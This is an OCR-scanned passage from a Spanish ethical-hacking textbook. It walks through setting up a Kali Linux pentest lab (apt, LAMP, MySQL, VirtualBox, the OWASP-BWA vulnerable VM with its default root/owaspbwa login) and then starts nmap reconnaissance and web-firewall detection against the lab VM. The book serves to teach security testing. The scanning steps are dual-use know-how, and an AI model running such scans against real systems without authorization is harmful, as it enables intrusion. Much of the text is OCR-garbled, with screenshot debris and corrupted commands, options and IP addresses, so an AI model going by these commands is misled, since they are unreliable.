APT busca los posibles nombres para el paquete especificado. Search nombredepaquete 
es un comando de búsqueda en la base de datos de los paquetes con nombredel paquete 
como el término de búsqueda. 


Mostrar información del paquete (show, mostrar) 


APT muestra las dependencias del paquete y la información de la versión del mismo. 


rootOkali:-* sudo apt-cache show [nombredel paquete] 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 121 


A 


Capítulo 5 Organización de un ambiente Pentest Ah Alfaomega 


Mostrar las dependencias del paquete (depends) 


APT muestra una lista de las dependencias del paquete para el indicado. 
rootOkali:-* sudo apt-cache depends [nombredelpaquete] 

Mostrar los paquetes dependientes de éste (rdepends) 

APT muestra una lista de los paquetes que dependen del especificado. 


rootékali: ~ # sudo apt-cache rdepends [nombredelpaquete] 


LABORATORIO 5.5 comandos apt-get 2 
En este ejercicio de laboratorio ponemos en práctica los comandos apt-get. 
Problema 1: Mostrar la información del paquete sublime-text. Puedes descargar 
e instalar sublime-text y otros paquetes. La ventaja de un sistema de gestión es 
que administra él mismo las dependencias y los conflictos 
Problema 2: Mostrar las dependencias del paquete sublime-text 


Problema 3: Mostrar los paquetes dependientes del paquete sublime-text 


Problema 4: Instalar el paquete sublime-text 


5.6.3 Gestor de paquetes Synaptic 


El administrador de paquetes Synaptic constituye la interfaz gráfica de usuario para APT 
y es parte de Kali. Synaptic puede instalarse de la siguiente manera: 


rootékali:-* sudo apt-get install synaptic 
Luego de instalar el gestor de paquetes Synaptic lo arrancamos como sigue: 
root@kali:~# synaptic 


En la siguiente pantalla se busca Bases de datos. 
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Gestor de paquetes Synaptic o090 

Archivo Editar Paquete Configuración Ayuda 
9 o o a 
Recargar Marcar todas las actualizaciones Aplicar Propiedades Buscar 
E Paquete Versión instalada Ultima versiór Descripción 

Autoría de Tex (no libres) Siea ec == a == Y. o = : paca PITA vor 
Bases de datos ld  mysql-common 5.8+1.0.4 5.8+10,4 MySQL database common files 
Bibliotecas mysql-sandbox 3.2.05-1 Install and set up one or more 


Bibliotecas (contribuciones) mysal-workbench 6.3.8+dfsg-1+b3 MySQL Workbench - a visual d 
Biblotecas (oo libres) mysql-workbench-data 6.3.8+dfsg-1 MySOL Workbench -- architect 
MySQL Workbench - a visual database modeling, administration and queuing tool 
Estado | Obtener captura de pantalla | Obtener registro de cambios Visitar sitio web 
Origen | MySQL Workbench is a modeling tool that allow to design 
Bg and generate MySQL databases graphicalty. It also has administration 
litros 


| and query development modules where you can manage MySQL server instances 
Resultados de la búsqueda | and execute SQL queries. 


Arquitectura | 
194 paquetes listados, 2914 instalados, O rotos. O para instalar/actualizar, O para desinstalar 


Figura 5.34 Administrador del paquete Synaptic 


5.7 + Cómo instalar LAMP 

LAMP es un acrónimo de Linux, Apache, MySQL, PHP, Perl y Python. Se trata de una pila 
de tecnologías web. Para el sistema operativo Windows es WAMP. XAMPP es la multipla- 
taforma equivalente de LAMP. 

LABORATORIO 5.6 Instalar LAMP de Kali Linux å 


En este ejercicio de laboratorio instalarás LAMP. Realiza los siguientes pasos: 


Paso 1: Instala el paquete apache2. No olvides optimizar; la dirección IP del 
servidor Apache la obtienes de la siguiente manera: 


root@kali:~/# ifconfig ethð | grep inet | awk ‘{print $27” 
Inicia el servidor: 
root@kali:~/# sudo service apache2 start 


Prueba el servidor Apache navegando en la dirección IP de la etapa anterior. 
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Apache? Debian Default Page: It works - Mozilla Firefox o ooo 
Kali Linux, an Offensive S.. x W bWAPP - PHP Code in. x MB] Damn Vulnerable We.. x ; Apache? Debian Default. x | + 


D | 10.0.2.15 ; S6 y. U <= 
Ra Most Visitedw [il Offensive Security Ñ Kali Linux "Ñ Kali Docs ‘Ñ Kali Tools « Exploit-DB Ph Aircrack-ng Ef Kali Forums "Ñ NetHunter » 


This is the default welcome page used to test the correct operation of the Apache2 server after 
installation on Debian systems. If you can read this page, it means that the Apache HTTP server 
installed at this site is working properly. You should replace this file (located at /var /www 
/html/index.html) before continuing to operate your HTTP server 


If you are a normal user of this web site and dont know what this page is about, this probably means 
that the site is currently unavailable due to maintenance. If the problem persists, please contact the 
site's administrator 


Figura 5.35 El servidor web Apache 2 
Paso 2: Instala el paquete mysql-server 
Paso 3: Asegura mysql-server con una contraseña 
a) Inicia mysql: 


rootékali ~/# sudo service mysql start 
root@kali:~/# mysql 


b) Muestra el estado: 
MariaDB[ (none) ]>status 


c) Muestra la base de datos con show databasesc 


show databases ; 
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d) Abre la base de datos con use mysql; 


one) j> use mysq 
le information for completion of table and column 
irn off this feature t get a quicker startup wit 


Database changed 


MariaDB [mysql]> B 


e) Muestra las tablas en la base de datos mysql con show tables; 
MariaDB [mysql]> show tables; 

f) Muestra la tabla db en la base de datos mysql con describe db; 
MariaDB [mysql]> describe db; 

g) Muestra la tabla user en la base de datos mysql con describe user; 
MariaDB [mysql]> describe user; 


h) Muestra anfitrión, usuario y contraseña de la tabla user con select Host, User, 
Password from user; 


iriaDB [my z sel Host User Password from user; 


4 


Host User Password 


localhost | ot 
$ 


row in set (0.00 sec) 


i) Verás que la contraseña está en blanco y que el servidor MySQL no es seguro. 
Asegura el servidor con tu propia contraseña de la siguiente manera: 


set password for ‘root? @ ‘localhost’? = password('miclave?>); 


MariaDB [mysqal]> set password for 'root'@'localho 


Query OK, 0 rows affected, 1 warning (0.00 sec) 
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j) Muestra nuevamente Host, User y Password de la tabla user y se verá que se ha 
creado la clave encriptada. 


MariaDB 


localhost root *D8E43DAD8FC5101F4F08341EBFC7E2719EB50807 


+ + 


1 row in set (0.00 sec) 


MariaDB [mysql!]> Bl 


k) Confirma a todos con flush privileges; 

MariaDB [mysql]> flush privileges; 

MariaDB [mysql]> exit; 

root@kali ~# 

Sal de mysql con exit; 
Ahora el servidor mysql está protegido por una contraseña cifrada. 
Paso 4: Instala los siguientes paquetes: php php-pear php-mysql 
Paso 5: Reinicia el servidor Apache: 


root@kali:~/# sudo service apache2 restart 


Paso 6: Crea el archivo info.php, con su ayuda es posible determinar sin duda la 
configuración del entorno PHP. 


root@kali:~/ # nano /var/ww/html/info.php 
Escribe el siguiente código: 
<? php 
phpinfo (); 
?> 
Guarda el archivo y sal con Ctrl-X 


Paso 7: Navega en localhost/info.php. 


Como resultado, verás la página de información de php. 
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System Linux kali 4.9.0-kal3-amd64 #1 SMP Debian 4.9.18-1kalil 14 
Build Date Feb 22 2017 10:03:06 

Server API Apache 2.0 Handler 

Virtual Directory Support disabled 

Configuration File (php.ini) Path jetc/php/7.0/apache2 

Loaded Configuration File jetc/php/7.0/apache2/php.ini 

Scan this dir for additional .ini files letc/php/7.O/apache2/conf.d 


Figura 5.36 Página de información php 


5.8 + Instalación de Visual Studio Code 


En el siguiente ejercicio de laboratorio instala un editor de código fuente. Elegimos el 
Visual Studio Code, el cual es de Microsoft para Windows, Linux y MacOS. 
LABORATORIO 5.7 Instalación del Visual Studio Code lu 
Paso 1: Habilitar el repositorio de paquetes 
Crea el archivo vscode.list en la carpeta sources.list.d de la siguiente manera: 
root@kali:/# nano /etc/apt/sources.list.d/vscode.list 


Teclea la siguiente línea en el editor nano para añadir el repositorio vscode a la 
lista de fuentes: 


deb [arch = amd64] http://packages.microsoft.com/repos/ 
vscode stable main 


Paso 2: Instala Visual Studio Code: 
a) Importa la clave de firma del paquete de la siguiente manera: 


root@kali:/# curl https://packages.microsoft.com/keys/microsoft. 
asc | gpg --dearmor > microsoft.gpg 


b) Mueve microsoft.gpg a la carpeta trusted.gpg.d de la siguiente manera: 


root@kali:/# mv microsoft.gpg 
/etc/apt/trusted.gpg.d/microsoft.gpg 
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c) Instala el Visual Studio Code: 


rootékali: / # sudo apt-get update 
rootékali: / # sudo apt-get install code 


Paso 3: Inicia el Visual Studio Code desde el menú Aplicaciones. 


5.9 + Cómo clonar configuraciones Kali 


A veces nos puede ir mal con la instalación Kali Linux; por lo tanto, es una buena idea 
crear inmediatamente una copia de la instalación básica. 


LABORATORIO 5.8 Clonar Kali Linux 2 
Para crear un clon de Kali Linux realiza los siguientes pasos: 


Paso 1: Asegúrate que Kali-linux está inactivo. Haz clic en el botón derecho del 
ratón sobre Kali-linux VM en VirtualBox y selecciona Clone 


Paso 2: A continuación, en Full clone (clon completo) 


LABORATORIO 5.9 Instantáneas Kali Linux 2 


Tal vez desees tener una máquina virtual con diferentes configuraciones para di- 
versas pruebas. Con el botón Snapshot en la parte superior derecha de VirtualBox 
podemos tomar una instantánea del estado actual de una máquina virtual; la si- 
guiente figura muestra los pasos necesarios para crear instantáneas de la misma. 


0.0 Oracle VM VirtualBox Manager (1) 
e só d ao DI G 
New Settings Sho Machine Tosis Giobal Toots 
si pi fă p` jl 
A kali-iinux 2 pl Details 
¿ -> Running Tore Properties 
Name Taken 
Current State 


Te | Snapshot Name 
Qi instantánea 1 (3) 


Saapshot Description 


Cancel OK 


Figura 5.37 Pasos para crear instantáneas 
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Podemos retroceder en el tiempo para utilizar las instantáneas anteriores de 
nuestra máquina virtual. 


LABORATORIO 510 Instalación de adiciones invitadas a VirtualBox en Kali A 
Para la integración del ratón y de la pantalla, y para compartir las carpetas con la 
computadora física, hay que instalar primero las Adiciones invitadas. Procede de 


la siguiente manera: 


root@kali:~# sudo apt-get update 
root@kali:~# sudo apt-get install -y virtualbox-guest-x11 


Después de la instalación puedes reiniciar con reboot: 


root@kali:~# reboot 


LABORATORIO 511 Compartir la carpeta de descargas 2 


Para instalar el nuevo software en Kali compartimos la carpeta de descargas de la 
computadora física con la máquina virtual kali-linux. 


Paso 1: Ve a Configuración de tu máquina kali-linux en VirtualBox 
Paso 2: Haz clic en Carpetas compartidas 


Paso 3: En Ruta de la carpeta, selecciona la carpeta de Descargas en tu 
computadora física 


Paso 4: Selecciona Readonly (Sólo lectura), Automontaje y Make permanent 
(Crear permanente) 


Paso 5: Haz clic en OK 


Observa la siguiente figura: 
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Oracle VM VirtualBox Manager 


¿ b ze y C Pak 15? 
E E SY Y l Details Jdi 
New Settings Discard Start Machine Tools Global Tools 
PY kali-linux 


26) E Saved = H a Y > J Y ul = 


General System Display Storage Audio Network Ports Shared Folders User interface 


kali-linux - Shared Folders 


Taken 


Shared Folders 
Folder Path: — /Downloads 
Name Path duto-mount Access y 
Machine Folders Folder Name: Downloads 
Read-only 
Auto-mount 
Cancel GD 
Cancel oK 


Figura 5.38 Compartir carpeta de descargas 


En el escritorio Kali verás la carpeta compartida. 


Downloads 


Figura 5.39 Carpeta compartida 


LABORATORIO 542 Instalación de VirtualBox 2 dentro de Kali 1 


Dentro de Kali instalamos un segundo VirtualBox; en él, a su vez, instalamos 
dos máquinas virtuales: una para el cliente y otra para la aplicación de prueba. 


Comenzamos con la segunda VirtualBox. En la ventana de terminal, teclea el 
siguiente comando: 


root@kali:~/# sudo apt-get install virtualbox 
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Después de la instalación, inicia VirtualBox 2 en Kali en el menú 

desplegable Aplicaciones. Haz clic en Aplicaciones usuales y luego en 
Herramientas del sistema, aquí se encuentra el recién instalado VirtualBox. 
Problemas con VirtualBox 2 

Si encuentras problemas con la instalación de la segunda VirtualBox, por ejemplo: 


“Kernel driver not installed (rc=-1908)” 


quiere decir que faltan módulos de VirtualBox en tu distribución de Linux. Para 
solucionar este problema sigue los pasos: 


Paso 1: Actualiza tu distribución kali como se muestra: 
root@kali:~/# sudo apt-get update 
root@kali:~/# sudo apt-get upgrade 
root@kali:~/# sudo apt-get dist-upgrade 

Paso 2: Elimina tu VirtualBox actual: 

root@kali:~/# sudo apt-get autoremove 
root@kali:~/# sudo apt-get remove virtualbox virtualbox-dkms 
root@kali:~/# reboot 

Paso 3: Instala VirtualBox nuevamente: 
root@kali:~/# apt-get install virtualbox 
Para ver tu núcleo actual de Linux teclea lo siguiente: 
root@kali:~/# uname -a 

Para ver tu versión actual de Linux teclea lo siguiente: 
root@kali:~/# lsb_release -a 

O bien: 

root@kali:~/# cat /etc/*release 


O bien: 


root@kali:~/# cat /etc/issue* 
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O bien: 


root@kali:~/# cat /proc/version 


5.10 + Cómo instalar la máquina virtual 
de OWASP-BWA 


OWASP significa Open Web Application Security Project (Proyecto Abierto para la Segu- 
ridad de Aplicaciones Web) y es un proyecto de código abierto para profesionales de la 
seguridad. El objetivo es crear un ambiente de prueba seguro donde podamos identificar 
vulnerabilidades en las aplicaciones, incluidas las de la máquina virtual BWA. 


Desde el proyecto OWASP-BWA podemos descargar la máquina virtual con una colec- 
ción de aplicaciones web vulnerables. En el siguiente capítulo realizaremos Pentest con 
estas aplicaciones. Este es el enlace para descargar la máquina OWASP-BWA: 


https://sourceforge.net/projects/owaspbwa/files/ 


Descarga el archivo OVA (Open Virtual Appliance o Dispositivo Virtual Abierto) en la car- 
peta Descargas en Kali-linux; este archivo es un dispositivo virtual que se puede importar 


a VirtualBox. El resultado se puede encontrar en la carpeta Descargas. 


Libro encontrado en: WWW.eybooks.com 


Te > || 4 Q Carpeta personal Descargas  » ' Q || = || = ooo 
© Recientes ~ 
Q Carpeta personal w 
rai OWASP- 
© Descargas Broken- 
O Documentos Web-Apps- 
Ó Imágenes VM_1.2 ova 
J) Música 


Figura 5.40 Resultado de la descarga 


LABORATORIO 543 Importación de BrokenWebApps en VirtualBox 2 


Para importar tu dispositivo virtual OWASP-BWA ve a la barra superior de VirtualBox 
2 y haz clic en Archivo/Importar servicio virtualizado y traslada el archivo OVA 


descargado. Da el nombre BWA y haz clic en Importar: 
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Oracle VM VirtualBox Administrador Q0U09O9 


© [Archivo | Máquina Ayuda 
$ Preferencias... Ccui+G gas 
E 7 i J 


Mì Importar servicio virtualizado ... 1 ìtas de máquina | Herramientas globales 
ram (9 Exportar servicio virtualizado.. Ctri+E = 


Importar serecio virtualizado o OA 
Servicio a importar 


_—— 
VrtulBox «tualmente soporta importar servicios quar dadhos en Open 
Wirtuelizaticn Form (OWF) Para cota, seleccione el ach) ter 
adao 
Ia Descargas OWASP ruhen. Web Apps. VM. 1. Lova da 
importar servicio virtual zado o 

Preferencias de servicio rr 

Estas son las máquinas virtuales contenidas en el servicio y las preferencias 

sugeridas de las máquias virtuales importadas de VirtualBox. Puede cambiar 


agunan de Las propiedades mostradas haciendo doble cc en bs elemenos y 
deshabilitar otras usando las casillas de abajo. 


Setema virtua! 1 
norte + 
Api 


P Descapción OWASP u oken Web 
E Tipo de 50 invitado PG Ubent (320) 


[cs] | Restæsa valores predeterminados «< Anterior importar Cancelar 


Figura 5.41 Pantalla Importar archivo 


El resultado de la máquina virtual importada en VirtualBox 2 se muestra a continua- 
ción; selecciónala y da clic en Iniciar. 


Oracle VM VirtualBox Administrador 


009 
Archivo Máquina Ayuda 


a E P. S L W 


Nueva Configuración Iniciar Herramientas de máquina | Herramientas globales 
¡Bienvenido a VirtualBox! 


La parte izquierda de esta 
ventana contiene la lista de 
máquinas virtuales y grupos de 
máquinas virtuales de su 
computadora. 


La parte derecha de esta ventana po 
representa un conjunto de 
herramientas que están 


Figura 5.42 Selección de máquina virtual 


Se inicia la máquina virtual OWASP-BWA 
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Archivo Máquina Ayuda 


r ; y t 90 


Nueva Configuración Mostrar Herramientas de máquina Herramientas globales 


bwa [Corriendo] - Oracie VM VirtualBox 
Entrada Dispositivos Ayuda 


Figura 5.43 Inicio de máquina virtual 


Al iniciar sesión (login), teclea: root 
Como contraseña teclea: owaspbwa 


Después de la instalación, VirtualBox provee la dirección IP para acceder a las 
aplicaciones BWA; en este caso es 192.1168.56.3. Esta dirección depende de la con- 
figuración de tu red. Esto quiere decir que, en tu caso, puede ser otra dirección, 
aunque ésta es la que utilizaremos en el siguiente capítulo para las pruebas de 
penetración (Pentest). 


BWA no soporta el uso de ratón: si haces clic dentro de la ventana de BWA, en- 
tonces desaparecerá el indicador del ratón. En la esquina derecha baja de la ven- 
tana BWA se verán las teclas a utilizar para liberar nuestro ratón. En el sistema Mac 
pulsa la tecla Ctrl-Derecho y el indicador aparecerá nuevamente (ver figura 5.43). 


Esta máquina virtual tiene varias aplicaciones web vulnerables en PHP, Java y 
.NET. Las aplicaciones también se han creado con Joomla y WordPress. 


Además de OWASP-BWA, hay varios sitios con aplicaciones vulnerables; por 
ejemplo, VulnHub: 


https://www.wulnhub.com 
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LABORATORIO 5.14 Comunicación de red entre Kali y BWA 1 


Se desea establecer comunicación entre Kali y BWA. Esto significa que instalaremos 
la configuración de red de VirtualBox 2 en Kali, como se ve en la siguiente figura: 


Oracle VM VirtualBox Administrador 0090 
Archivo Ayuda 


Herramientas de máquina Herramientas globales 


a hoj ka | 2] Administrador de medios virtuales 
Crear Eliminar Propiedades =] Administrador de red de anfitrión 


Nombre + Dirección/máscara IPv4  Dirección/máscara IPV6 Servidor DHCP 
vboxnetO 192.168.56.1/24 3 Habilitar 


| 

i 
Q E Administrador de red de anfitrión % D ~ N D ~ 

! 


Adaptador Servidor DHCP 
Configurar adaptador automáticamente 
e Configurar adaptador manualmente 
Dirección IPv4: (192.168.56.1 


Máscara de red IPv4: 255.255.255.0 


Figura 5.44 VirtualBox2 Administrador de red de anfitrión 
Asegúrate que BWA esté apagada. 


Paso 1: En VirtualBox 2 haz clic sobre Herramientas globales y selecciona 
Administrador de red de anfitrión. 


Paso 2: Haz clic en Crear para generar una red anfitrión para BWA. Se ha creado 
la red anfitrión vboxneto0. 


Paso 3: Haz clic sobre Habilitar vboxnetO. Verás que la dirección IP donde 
vboxnetoO alojará la máquina virtual BWA es 192.:168.56.1. 


Paso 4: Arranca BWA y abre una ventana de terminal para probar si se ha creado 
el anfitrión vboxneto. 


Paso 5: Teclea ifconfig. El resultado se verá como en la siguiente figura: 
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root@kali: ~ ooo 


Archivo Editar Ver Buscar Terminal Ayuda 


mtig 
P, BROADCAST , RUNNING, MULTICAST> ntu 1500 
ask 255.255.255.0 broadcast 10.0.2 
pre len 64 $copeld 0x 
evelen 1000 (Ethernet) 
2,8 KiB) 
runs 9 
3.6 KiB) 
o dropped o Y rruns O carrier O 


> LOOPBACK, NING> mtu 055360 
0.0.1 netmask 255.0.0.0 
prefixle opecid 0x10<hos 
1098 (Local Loopback 
3 KiB) 
werruns O frame 
(1.3 KiB) 


ped © overruns © carrier € 


¿524 163<UP, BROADCAS RUNNING, MULTICAST 
168.56. 1 255.255.255.0 


800:27ff:f prefixlen 64 )p 


:00:00:00 xquevelen 1000 (Etherne 
bytes © (0.0 B) 
© dropped © overruns 0 
7 bytes 9632 (9.4 KÍB) 
5 © dropped 0 jerruns 9 


frame 0 


Figura 5.45 El anfitrión vboxnet0 activado 
A continuación, verás las siguientes direcciones de red: 
+ ethernet ethO dirección inet de Kali 10.0.2.15 
+ dirección inet loopback 127.0.0.1 
+ dirección vboxnet0 192168.56.1 


El siguiente paso es conectar la máquina virtual BWA a vboxneto. Haz esto de la 
siguiente manera: 


Oracle VM VirtualBox Administrador 


Archivo Máquina Ayuda 


o2 ; > JE 
UR Y -~ g - uuu ~ 
Nueva Configuración Iniciar Herramientas de máquina Herramientas globales 


bwa - Configuración 


2 General Red 


„j Sistema 


I) Pantalla 


Adaptador 1 Adaptador? Adaptəador3 Adaptador 4 
Y Habilitar adaptador de red 


Gj Almacenamiento 


kA Conectado x Adaptador sólo-anfitrión ~ 
y> Audo S 


Era o Nombre vboxnetú 


p > Avanzadas 
Y Puertos serie m 


J interfaz de usuario 


Figura 5.46 Conexión a máquina virtual BWA 
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Paso 6: Cierra la máquina virtual BWA y haz clic en Configuración. 


Paso 7: Selecciona Red, luego Adaptador 1: conectado al adaptador de sólo 
anfitrión (host). El nombre debe ser vboxneto. Haz clic en Aceptar. 


Ahora podemos comunicarnos con la máquina virtual BWA de Kali. Realiza un 
comando de ping: ping -c 4 192.168.561 


rootGkali: ~ 
Archivo Editar Ver Buscar Terminal Ayuda 
"ootGkali:-4 ping -c 4 192.168.56.1 
ING 192.168.56.3 (192.168.56.3) 56(84) bytes of data. 
34 bytes from 192.168.56.3: icmp seq=1 ttl=64 time=1.29 ms 
34 bytes from 192.168.56.3: icmp seq=2 ttl=64 time=1.02 ms 
34 bytes from 192.168.56.3: icmp seq=3 ttl=64 time=0.773 ms 
34 bytes from 192.168.56.3: icmp seq=4 ttl=64 time=1.86 ms 


'=- 192.168.56.3 ping statistics --- 

+ packets transmitted, 4 received, 0% packet loss, time 3025ms 
“tt min/avg/max/mdev = 0.773/1.238/1.864/0.406 ms 

'ootGkali:-4 E 


Figura 5.47 Comando de comunicación 


Con ping podemos probar la comunicación entre dos nodos en una red; el enlace 
ha sido exitoso, y cuatro paquetes han sido enviados y recibidos. El ping a IPv6 
se realiza de la siguiente manera: 


root@kali:~# ping6 -I fe80::a00:27ff:fe43:2b12 


Navega a BWA tecleando 192.168.56.3 en el navegador de Kali: 


owaspbwa OWASP Broken Web Applications - Mozilla Firefox ooo 
j O owaspbwa OWASP Br.. x | + 
€ © 192168.56.3 e [IQ Search tA y >» = 
En Most Visitedw [fl Offensive Security ‘Ñ Kali Linux W, Kali Docs ‘Ñ Kali Tools * Exploit-DB Ph Aircrack-ng » 


a 


owaspbwa 


OWASP Broken Web Applications 


A, pes 
Version 1.2 
This is the VM for the 
project. It contains many, very vulnerable web applications, which are 
listed below. More information about this project can be found in the project User 


Guide and 


TRAINING APPLICATIONS 
OWASP WebGoat *OWASP WebGoat.NET 


Figura 5.48 Navegación en Kali 
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Aplicaciones/ubicaciones 

OWASP-BWA tiene una serie de aplicaciones web: 

Aplicaciones de entrenamiento: Para practicar vulnerabilidades específicas. 

Aplicaciones realistas: Aplicaciones vulnerables del mundo real para la 

capacitación. 
LABORATORIO 545 Instalar un cliente virtual 11 
Después de Kali y BWA todavía tenemos que completar la configuración del triángulo. En 
este ejercicio de laboratorio, instala la máquina virtual cliente de Mozilla o, si prefieres, la 
máquina MSEdge, la cual es para los usuarios de la aplicación owasp-bwa. Descarga e 
importa el siguiente dispositivo en tu VirtualBox 2. 


https://developer.mozilla.org/en- 


US/docs/Mozilla/Developer_guide/Using_the_VM 


< 
Favorites 


© Downloads 


FirefoxBuildEnv.ova 


Figura 5.49 Descarga de dispositivo 


LABORATORIO 516 Redes de túnel UDP 1 


El modo de red de túnel UPD proporciona interconexión entre dos máquinas 
virtuales que operan desde dos anfitriones (hosts) físicos diferentes. 
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y 


EN 


Figura 5.50 Redes de túnel 


En esta tarea avanzada, intenta que tu propia máquina virtual se comunique con 
la de un compañero. 


El modo de túnel UDP tiene los siguientes tres parámetros: 
+ Puerto Fuente UDP <sport>: Este es el puerto del sistema operativo anfitrión 
(host) que escucha la comunicación. Los paquetes de datos entrantes se envían a 


la máquina virtual hospedada en el sistema operativo anfitrión. 


+ Dirección de destino <dest>: Es la dirección IP del sistema operativo anfitrión 
(host) destinatario. 


+ Puerto UDP de destino <dport>: Es el número de puerto al que se reenvían los 
paquetes de datos entrantes. 


En el siguiente ejemplo de la línea de comando, el anfitrión 1 usa la dirección IP 
10.0.0.2 como la dirección de destino <dest>: 


VBoxManage modifyvm “VM 01 on host 1” --nic<x> generic 
VBoxManage modifyvm “VM 01 on host 1” --nicgenericdrv<x> UDPTunnel 


VBoxManage modifyvm “VM 01 on host 1” --nicproperty<x> 
dest=10.0.0.2 


VBoxManage modifyvm “VM 01 on host 1” --nicproperty<x> sport=10001 
VBoxManage modifyvm “VM 01 on host 1” --nicproperty<x> dport=10002 
El anfitrión 2 usa la dirección IP 10.0.0.1 como dirección de destino: 
VBoxManage modifyvm “VM 02 on host 2” --nic<y> generic 

VBoxManage modifyvm “VM 02 on host 2” --nicgenericdrv<y> UDPTunnel 


VBoxManage modifyvm “VM 02 on host 2” --nicproperty<y> 
dest=10.0.0.1 
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VBoxManage modifyvm “VM 02 on host 2” --nicproperty<y> sport=10002 
VBoxManage modifyvm “VM 02 on host 2” --nicproperty<y> dport=10001 


Para dos máquinas virtuales en el mismo sistema operativo anfitrión, el parámetro 
<dest> en ambas debe ser 127.0.01. 


LABORATORIO 5.117 Curso básico de Linux A 


Sigue un curso básico de Linux creando una cuenta gratuita. Comienza en el 
siguiente enlace: 


https://courses.edx.org 


5.11 + Hackeo ético 


En el siguiente capítulo aprenderemos algunos métodos básicos de pruebas de pe- 
netración (Penteting), donde juegas el papel del hacker ético, es decir, de quien tiene 
una especialización cibernética con conocimientos de redes y métodos para evitar los 
controles y detectar las vulnerabilidades de los sistemas. 


El hacker analiza e informa a las empresas que lo ocupan sobre los resultados de 
las pruebas de penetración en los sistemas de las mismas. Esto sucede solamente con 
la autorización de las partes interesadas del sistema a penetrar. El Capítulo Pruebas de 
penetración tiene únicamente objetivos de aprendizaje; por lo tanto, deberás trabajar 
cuidadosamente con las herramientas de Kali Linux. Si accedes a un sistema sin la au- 
torización previa, estás actuando fuera de la ley y puedes inlcuso terminar en la cárcel. 
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Figura 5.51 Hacker 


Capítulo 6 


Pruebas de 
penetración 


Objetivos de aprendizaje 


Al final de este capítulo, deberás dominar los siguientes conocimientos 
y habilidades: 


+ Especialización en las técnicas y herramientas más importantes que se 
emplean para verificar si una aplicación es vulnerable a un ataque 

Las pruebas de penetración con las herramientas Kali Linux para las diez 

vulnerabilidades más comunes de OWASP 


A 
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6.1 + Introducción 


En el capítulo anterior configuramos un ambiente para pruebas de penetración; como ya 
vimos, éstas permiten analizar los riesgos del software que se formula durante la fase de 
producción y antes de la prueba de aceptación. Las pruebas de penetración tienen como 
objetivo prevenir un ciberataque. 


¿Qué es un ataque cibernético? 


+ Ataque cibernético: Es el que se ejecuta a través del espacio cibernético con el 
objetivo de dislocar, dañar o apropiarse de la gestión de la infraestructura de una 
empresa o una dependencia gubernamental. 


+ Superficie de ataque cibernético: Es el ámbito en el cual se ataca a un sistema. 
Esto puede ser muy amplio y abarca las irrupciones en las redes, los protocolos, el 
sistema operativo o las aplicaciones. 


+ Exploit: Es un ataque contra los elementos vulnerables de un sistema llevado a 
cabo mediante el uso de software, un comando o una metodología específica. Un 
exploit puede ser un elemento de malware; para el hackeo ético un exploit es una 
forma de identificar las vulnerabilidades del sistema. 


En este capítulo se lleva a la práctica un eficaz análisis de los riesgos en una aplicación 
particular y en un ambiente específico. 


6.2 + Fundación OWASP 


Open Web Application Security Project (Proyecto Abierto de Seguridad en Aplicaciones 
en la Red, abreviado como OWASP) es un proyecto comunitario abierto que desde 2004 
ha ayudado a organizaciones e instituciones educativas a diseñar, implementar y adminis- 
trar aplicaciones seguras. Puedes encontrar el sitio web de OWASP en: 


http://www.owasp.org 


Anteriormente encontramos a OWASP en la sección 5.10, donde instalamos las aplicacio- 
nes vulnerables de OWASP-BWA. 


OWASP publica todos los años una lista de las diez amenazas más comunes y de alto 
riesgo para aplicaciones en la red, la cual se puede ver en el siguiente enlace https:// 


www.owasp.org/index.php/Top_10_2017-Top_10: 


1. Inyección (SQL, OS, XXE y LDAP) 


2.  Irrupción en la autenticación y la sesión 
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Cross site scripting (XSS o scripting de sitio cruzado) 

Irrupción en el control de acceso 

Errores en la configuración de la seguridad 

Exposición de datos sensibles 

Protección insuficiente contra ataques 

Cross site request forgery (CSRF o falsificación de peticiones en sitios cruzados) 


PAID ys 


Uso de componentes con vulnerabilidades conocidas 
10. API con protección insuficiente 


En este capítulo usamos esta lista para examinar las mayores amenazas en las aplica- 
ciones web y explicar cada una. En el próximo apartado volveremos a ella y definiremos 
la mitigación, es decir, la posible acción que podemos tomar para prevenir o reducir los 
efectos de una amenaza. 


6.3 + Reconocimiento 


Por reconocimiento se entiende a una “primera exploración sumaria' que se centra en 
una superficie específica de un ataque cibernético. Kali Linux tiene varias herramientas 
de exploración, cuya fase se realiza mediante los siguientes pasos: 


El escaneo y la identificación de los servicios con nmap 

La identificación de los cortafuegos (firewalls) de las aplicaciones 

El escaneo de la aplicación mediante una araña (spider) y la creación de carpetas 
de sitio de la aplicación con las arañas Burp y HTTP Track 


El objetivo de la exploración es revisar la aplicación, la base de datos, los usuarios y el 
servidor e identificar las vulnerabilidades. La información al explorar nos ayuda a elaborar 
una evaluación de la seguridad de la aplicación. 


6.3.1 Servicios de escaneo con nmap 


El escaneo es la técnica de búsqueda de las vulnerabilidades de la aplicación objetivo o 
blanco. Nmap es el escáner más comúnmente utilizado para revisar puertos abiertos y 
detectar los cortafuegos en anfitriones en vivo. La sintaxis de nmap es la siguiente: 


nmap [tipo de escaneo] [opciones] {especificaciones del objetivo} 


6.3.2 Identificación de cortafuegos (firewalls) de la aplicación 


A continuación se muestra un ejercicio para facilitar la identificación de cortafuegos de 
la aplicación. 
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LABORATORIO 641 Escaneo 2 
En este ejercicio de laboratorio practicamos con las herramientas de escaneo. 
Realiza los siguientes escaneos y responde las preguntas propuestas. Usamos 
como dirección IP de la máquina virtual BWA 192.168.56.3 ésta puede ser distinta 
a tu propia configuración de Kali Linux. 

Escaneo 1: Haz ping al anfitrión [-sn]: 

root@kali:~# nmap -sn 192.168.56.3 

Escaneo 2: Escanea para encontrar los puertos abiertos: 
root@kali:~# nmap 192.168.56.3 


¿Cuántos puertos abiertos se han escaneado? 


Escaneo 3: Escanea para encontrar los servicios [-sV]. El proceso puede durar 
algunos minutos: 


root@kali:~# nmap -sV 192.168.56.3 

¿Cuál es el número de los puertos abiertos y cuál es la versión? 
Escaneo 4: Escanea para encontrar el sistema operativo (OS) [-O]: 
root@kali:~# nmap -0 192.168.56.3 


¿Cuál es el sistema operativo (OS) y cuál el kernel? ¿Se encontró huella digital 
de firewall? 


En el siguiente sitio en la red encontrarás script útiles para probar vulnerabilidades. 
https://nmap.org/nsedoc/scripts/ 


También podemos escanear con la búsqueda de puertos específicos con la 
opción [-p]. 


Escaneo 5: Escanea con el script de la aplicación web-firewall (abreviado WAF, 
webapplicatie-firewall) 


L-- script = http-waf-detect] 
root@kali:~# nmap -p 80,443 --script http-waf-detect 192.168.56.3 


Un firewall detectado se ve así: 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 


